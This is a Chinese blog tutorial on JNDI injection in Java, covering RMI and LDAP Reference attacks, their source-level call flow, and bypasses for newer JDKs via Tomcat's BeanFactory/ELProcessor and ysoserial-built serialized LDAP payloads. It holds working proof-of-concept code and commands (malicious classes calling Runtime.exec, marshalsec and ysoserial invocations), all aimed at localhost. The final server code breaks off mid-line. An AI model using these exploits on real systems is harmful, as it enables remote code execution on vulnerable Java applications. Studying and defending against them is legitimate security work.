文章首发于Secin:浅析JNDI注入
前言
其实要先学JNDI再学fastjson的,但是JNDI投稿去了,就先发了fastjson
JNDI
Trail: Java Naming and Directory Interface (The Java? Tutorials) (oracle.com)
The JNDI Tutorial (oracle.com)
JNDI (Java Naming and Directory Interface) 它是由应用程序设计的 API,为开发人员提供通用统一的接口,搜索和访问各种命名和目录服务。
- RMI (JAVA调用远程方法)
- LDAP (轻量级目录访问协议)
- CORBA (公共对象要求代理系统结构)
- DNS (域名服务)
前三种都支持远程对象的调用
- Java序列化对象
- JNDI Reference引用
- Marshalled对象
- RMI远程对象
- CORBA 对象
注入原理
注入原理
在JNDI服务中,RMI除了直接绑定远程对象外,服务端还可以通过References类绑定外部远程对象(当前名称目录系统以外的对象)。绑定了Reference之后,服务端将首先通过Referenceable.getReference()获得绑定对象的参考,并在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference将其转换为对象的实例。
RMI攻击实现
JDK <= 8u121
在8u121之后com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的默认值变为false,不能再使用了
先看下JNDI—RMI的结合使用
RMISever.java
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMISever {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remoteObj = new RemoteObjImpl(); Registry r = LocateRegistry.createRegistry(1099); r.bind("remoteObj",remoteObj); } }
IRemoteObj.java
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
RemoteObjImpl.java
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjImpl() throws RemoteException{
super();
}
@Override
public String sayHello(String keywords){
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}
JNDIRMIServer.java
import javax.naming.InitialContext;
public class JNDIRMIServer {
public static void main(String[] args)throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
}
}
JNDIRMIClient.java
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj)initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
这里的InitialContext()是构建一个初始上下文。通俗点来讲就是获取初始目录环境。
当开启RMI服务和JNDI服务后,此时JNDI客户端便可成功发出请求
RMI攻击
通过上例可以看出JNDI是可以和RMI结合使用的,而攻击就要通过类来绑定一个外部的远程对象的方式进行了。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
className
: 远程加载时所使用的类名classFactory
: 加载的class
中需要实例化类的名称classFactoryLocation
: 提供classes
数据的地址可以是file/ftp/http
协议
开启远程服务,在该目录下放了一个Exec.class,进行远程调用
import java.io.IOException;
public class Exec {
public Exec() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
之后修改JNDIServer,通过Reference绑定启动的远程服务对象
import javax.naming.InitialContext;
import javax.naming.Reference;
public class JNDIRMIServer {
public static void main(String[] args)throws Exception {
InitialContext initialContext = new InitialContext();
//initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
Reference refobj = new Reference("Exec", "Exec", "http://localhost:7777/");
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",refobj);
}
}
重新启动RMI,JNDIServer后,通过客户端JNDIClient成功执行恶意字节码文件(这里是本地测试的也可以修改http://localhost:7777/,进行远程调用)
流程分析
只要客户端lookup参数可控,我们就可写入自己的远程对象,而远程对象在绑上,其中传一个带有恶意类的地址,当RMI客户端开启服务后就会造成攻击
下面看下具体流程
跟进lookup
,name就是我们传入的rmi://127.0.0.1:1099/remoteObj
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
有调用了lookup
,继续跟进,这里调用了var3的lookup,而var3的是RegistryContext
,所以虽然我们通过JNDI的方式进行的调用,但最后还是会调用到RMI的流程中,所以这也就是JNDI能结合RMI使用的原因(JNDI的每个服务对应一个Context协议,而RMI对应的协议就是RegistryContext)
继续跟进lookup
,还是会调用lookup,但调用后var2的ReferenceWrapper类型,而在JNDIRMIServer
中实例化的是Reference
分析下原因
跟进rebind
,远程服务绑定时绑定的是Reference
,但当客户端调用时变成了ReferenceWrapper
,所以一定是在Reference
绑定后进行了一些操作
注意一下参数就好,继续跟进rebind
又有一个rebind
public void rebind(String var1, Object var2) throws NamingException {
ResolveResult var3 = this.getRootURLContext(var1, this.myEnv);
Context var4 = (Context)var3.getResolvedObj();
try {
var4.rebind(var3.getRemainingName(), var2);
} finally {
var4.close();
}
}
跟进后发现多了个encode的操作
跟进后发现,当我们传入的类型为Reference
,他会通过判断返回ReferenceWrapper
,所以上边的原因也就在这里
在回到刚才的lookup
方法,由于刚才的rebind
中进行了encode,所以这里对应的会返回一个返回decode的操作
return this.decodeObject(var2, var1.getPrefix(1));
跟进后,发现了getReference()
,在注入原理中提到货他可以获取绑定对象的引用,所以var3就变为了我们绑定的Reference对象
之后就调用了NamingManager.getObjectInstance
,在319行会调用getObjectFactoryFromReference
,从引用中获取对象工厂
factory = getObjectFactoryFromReference(ref, f);
跟进后他首先会进行个类加载
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
跟进loadClass,retrun中会调用本类中的另一个loadClass
public Class<?> loadClass(String className) throws ClassNotFoundException {
return loadClass(className, getContextClassLoader());
}
调用Class.forName,但他是调用AppClassLoader从本地找Exec.class,所以肯定是找不到的
找不到后,就会从codebase中寻找,codebase通过ref.getFactoryClassLocation(),就会变成我们传入的远程对象
重新加载结束后通过最后的newInstance成功实例化,远程执行
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
LDAP攻击实现
除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。
JDK <= 8u191 且版本不为7u201、6u211、6u141、7u131、8u121
这些版本的com.sun.jndi.ldap.object.trustURLCodebase
属性默认值为false
LDAP攻击
使用marshalsec构建ldap服务,服务端监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 1099
http://127.0.0.1:7777/为本地服务,Exec是恶意文件,1099是开启的ldap服务端口(默认为1389)
开启本地服务
python -m http.server 7777
直接发起请求即可
import javax.naming.InitialContext;
public class JNDILDAPClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://127.0.0.1:1099/Exec");
}
}
流程分析
前边和RMI的一样连续调用了几个lookup
,之后又进入了p_lookup()
之后又调用了c_lookup()
protected Object p_lookup(Name var1, Continuation var2) throws NamingException {
Object var3 = null;
HeadTail var4 = this.p_resolveIntermediate(var1, var2);
switch (var4.getStatus()) {
case 2:
var3 = this.c_lookup(var4.getHead(), var2);
if (var3 instanceof LinkRef) {
var2.setContinue(var3, var4.getHead(), this);
var3 = null;
}
跟进c_lookup()
,在下方会调用decodeObject()
,其中参数的值就是我们传入的LDAP的值
跟进后,会进行if判断,JAVA_ATTRIBUTES的索引值在下方,①处若我们传入的是序列化数据则会执行if下方的语句进行反序列化(后边高版本绕过会用到留个印象
);②若传入的是远程对象则会调用decodeRmiObject()
而我们是一个引用所以直接调用③执行decodeReference()
decodeReference()
是一些赋值操作,执行完后回到decodeObject()中,最后decodeObject()执行完之后回到了c_lookup()
这里var3此时的值为
接着往下走最终调用了DirectoryManager
的getObjectInstance
,而RMI调用的则是NamingManager
的getObjectInstance
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
但流程的话跟RMI的基本一模一样了,最后也是通过NamingManager
调用newInstance()
进行类加载造成代码执行
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
高版本绕过
在JDK8u191之后将com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值设为了false,即不能再从远程的Codebase加载恶意的Factory类了,所以上边的方式就不适用了,但这里还可以使用本地类加载的方式进行利用(都需要特定的依赖):
- 本地Class作为Reference Factory绕过
- LDAP返回序列化数据绕过
本地Class作为Reference Factory绕过
找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。这个Factory类必须实现 javax.naming.spi.ObjectFactory 接口。而Tomcat依赖包中存在org.apache.naming.factory.BeanFactory工厂类,可以反射构造代码执行。
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.0.28</version>
</dependency>
本地攻击
import javax.naming.*;
public class JNDIBPClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/Exec");
}
}
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;
public class JNDIBPServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "Sentiment=eval"));
resourceRef.add(new StringRefAddr("Sentiment", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Exec", referenceWrapper);
System.out.println("the Server is bind rmi://127.0.0.1:1099/Exec");
}
}
若在执行javax.el.ELProcessor报错Class not found: javax.el.ELProcessor,则需要再导入依赖:
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.0.28</version>
</dependency>
流程分析
由于通过RMI进行的调用,所以前边的流程跟中是一样的,但由于本次传入的工厂是BeanFactory
,所以会调用BeanFactory.getObjectInstance()
跟进后这里通过反射实例化了ELProcessor
给bean
再往下看,将forceString的值赋给ra,我们在Server中赋值forceString=“Sentiment=eval”,所以ra=“Sentiment=eval”,之后创建了一个HashMap对象给forced,接着将刚刚说到的ra的值赋给value
,又赋给了param
,在168行获取了等号的索引,之后以等号分割开分别赋值给了setterName
和param
之后就是将这两个值传入HashMap即:forced
forced.put(param,
beanClass.getMethod(setterName, paramTypes));
之后主要就是这五步了:
- proName获取ra的type —>Sentiment
- value获取ra的contents —>Runtime.getRuntime().exec(“calc”)
- method获取Sentiment对应的值即:eval方法
- valueArray[0]获取value 即Runtime.getRuntime().exec(“calc”)
- 最终反射成功执行代码
LDAP返回序列化数据绕过
在LDAP攻击的流程分析中提到过在高版本绕过中会用到,LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化
这里以打cc5为例,需要Commons-Collections-3.1依赖
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
本地攻击
ysoserial生成payload
java -jar ysoserial-0.0.5.jar CommonsCollections5 "calc" >1.txt
base64加密一下
本题开启http服务直接打即可
python -m http.server 7777
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.util.Base64; public class JNDISerialServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:7777/#Exec"; int port = 1099; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println 标签:
syw二极管